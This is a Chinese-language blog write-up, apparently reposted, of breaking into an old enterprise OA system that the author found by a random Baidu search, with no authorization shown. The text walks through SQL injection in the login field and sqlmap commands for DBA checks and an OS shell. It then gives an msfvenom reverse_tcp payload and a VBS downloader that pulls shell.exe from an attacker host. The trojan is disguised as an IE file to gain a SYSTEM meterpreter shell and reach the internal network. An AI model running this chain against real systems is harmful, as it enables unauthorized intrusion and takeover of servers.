發現漏洞
七月正值暑假,閑暇時光在百度上inurl一番,找到了一個古老的企業OA系統

IP站點,沒有域名,掃過一眼,.NET流行時代的普遍漏洞浮現在腦海里——SQL注入
在用戶名里輸入admin’,不負期望地報了錯

很明顯,前后端都沒有對用戶的輸入進行過濾,直接將’帶入了SQL語句進行。初步判斷,此OA系統存在SQL注入漏洞。
漏洞驗證
打開BurpSuite,設置好瀏覽器代理,抓下HTTP請求,一氣呵成。

問題參數為 txtLogin=admin%27,可將整個請求復制到 test.txt,使用sqlmap -r 來注入
sqlmap -u http://x.x.x.x/xx.aspx --forms

至此,可以確認存在error-based、stack quires和time-based三個類型的漏洞
判斷數據庫用戶的權限
發現SQL注入后,首先要判斷權限,高權限的注入可以為后續滲透省下很大功夫
sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice,再次不負期望地返回了DBA權限,輸入以下命令,獲得一個shell
sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM權限,時隔兩個多月,復現有誤,不予貼圖
0x04 反彈shell 深入內網
生成一個shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe
由于環境艱難,不能直接上傳文件,我選擇了用vbs腳本來下載木馬到服務器
代碼如下:
Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
'發送請求
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
'等待3秒,等文件下載
wscript.sleep 3000
aGet.Write(post.responseBody)'寫數據
aGet.SaveToFile "shell.exe",2
用echo命令緩慢地寫完了vbs腳本之后,順利運行,下載了木馬
更改名字,移動到IE安裝目錄進行偽裝

start iee.exe 運行木馬,metasploit成功收到了SYSTEM權限的shell
該主機擁有內網IP,存在內網,可以互通,并且該主機作為中央數據庫

此內網主機皆為VMware虛擬機

結束測試,提交漏洞
本次滲透測試成功拿到最高權限, 到此為止,不再深入。
隨著攻擊與防御技術的彼此攀升,程序員的安全意識逐漸提高,SQL也越來越少。
但不少粗糙的程序和古老的系統仍然存在此漏洞,此類漏洞解決方法簡單,只用對用戶輸入參數稍加處理即可。
FreeBuf
LemonSec
Ms08067安全實驗室
看雪學苑
FreeBuf
Timeline Sec
骨哥說事
一顆小胡椒
一顆小胡椒
安全牛
上官雨寶
GoUpSec